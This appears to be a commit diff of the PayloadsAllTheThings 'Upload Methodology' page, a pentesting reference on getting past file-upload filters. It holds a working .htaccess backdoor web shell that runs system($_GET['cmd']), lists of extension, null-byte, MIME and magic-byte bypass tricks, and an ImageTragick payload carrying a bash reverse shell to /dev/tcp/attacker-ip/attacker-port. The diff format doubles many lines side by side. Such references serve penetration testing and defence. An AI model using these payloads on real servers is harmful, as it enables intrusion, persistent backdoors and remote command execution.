Upload Methodology

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Swissky 2020-09-27 11:16:50 +02:00
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# CONTRIBUTING # CONTRIBUTING
PayloadAllTheThings's Team :heart: pull requests :) PayloadsAllTheThings' Team :heart: pull requests :)
Feel free to improve with your payloads and techniques ! Feel free to improve with your payloads and techniques !
You can also contribute with a :beers: IRL, or using the sponsor button. You can also contribute with a :beers: IRL, or using the sponsor button.

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AddType application/x-httpd-php .htaccess
# <?php phpinfo(); ?>
SetHandler server-status
SetHandler server-info

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# htaccess backdoor shell
# this is relatively stealthy compared to a typical webshell
# overriding deny rule
# making htaccess accessible from the internet
# without this you'll get a HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php .htaccess
# <?php system($_GET['cmd']); ?>
# To execute commands you would navigate to:
# http://vulnerable.com/.htaccess?cmd=YourCommand
# If system(); isnt working then try other syscalls
# e.g. passthru(); shell_exec(); etc
# If you still cant execute syscalls, try bypassing php.ini via htaccess

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* [Picture upload with LFI](#picture-upload-with-lfi) * [Picture upload with LFI](#picture-upload-with-lfi)
* [Configuration Files](#configuration-files) * [Configuration Files](#configuration-files)
* [CVE - Image Tragik](#cve---image-tragik) * [CVE - Image Tragik](#cve---image-tragik)
* [ZIP Archive](#zip-archive)
* [References](#references) * [References](#references)
## Tools ## Tools
- [Fuxploider](https://github.com/almandin/fuxploider) - [Fuxploider](https://github.com/almandin/fuxploider)
- [Burp> Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
## Exploits ## Exploits
### PHP Extension ### PHP Extension
* Default PHP extensions
```powershell ```powershell
.php .php
.php3 .php3
.php4 .php4
.php5 .php5
.php7 .php7
```
Less known extensions * Less known extensions
```powershell
.pht .pht
.phps
.phar .phar
.phpt .phpt
.pgif .pgif
.phtml .phtml
.phtm .phtm
.inc
Double extensions ```
* Double extensions
```powershell
.jpeg.php .jpeg.php
.jpg.php .jpg.php
.png.php .png.php
.*.php
``` ```
### Other extensions ### Other extensions
```powershell * asp : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0) * perl: `.pl, .pm, .cgi, .lib`
perl: .pl, .pm, .cgi, .lib * jsp : `.jsp, .jspx, .jsw, .jsv, .jspf`
jsp : .jsp, .jspx, .jsw, .jsv, .jspf * Coldfusion: `.cfm, .cfml, .cfc, .dbm`
Coldfusion: .cfm, .cfml, .cfc, .dbm
```
### Upload tricks ### Upload tricks
- Use double extensions : `.jpg.php`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Null byte (works well against `pathinfo()`) - Null byte (works well against `pathinfo()`)
* .php%00.gif * .php%00.gif
* .php\x00.gif * .php\x00.gif
@ -61,13 +71,16 @@ Coldfusion: .cfm, .cfml, .cfc, .dbm
* .php\x00.png * .php\x00.png
* .php%00.jpg * .php%00.jpg
* .php\x00.jpg * .php\x00.jpg
- Special characters
* file.php...... (In Windows when a file is created with dots at the end those will be removed)
* file.php%20
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` - Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
* `Content-Type : image/gif` * `Content-Type : image/gif`
* `Content-Type : image/png` * `Content-Type : image/png`
* `Content-Type : image/jpeg` * `Content-Type : image/jpeg`
- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. - Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")
### Picture upload with LFI ### Picture upload with LFI
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### Configuration Files ### Configuration Files
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
Configuration files examples
- .htaccess - .htaccess
- web.config - web.config
- httpd.conf - httpd.conf
@ -86,12 +103,23 @@ Valid pictures hosting PHP code. Upload the picture and use a local file inclusi
### CVE - Image Tragik ### CVE - Image Tragik
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
```powershell ```powershell
HTTP Request push graphic-context
Reverse Shell viewbox 0 0 640 480
Touch command fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
``` ```
More payload in the folder `Picture Image Magik`
### ZIP archive
When a ZIP/archive file is automatically decompressed after the upload
* Zip Slip: directory traversal to write a file somewhere else
## References ## References
* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil * Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil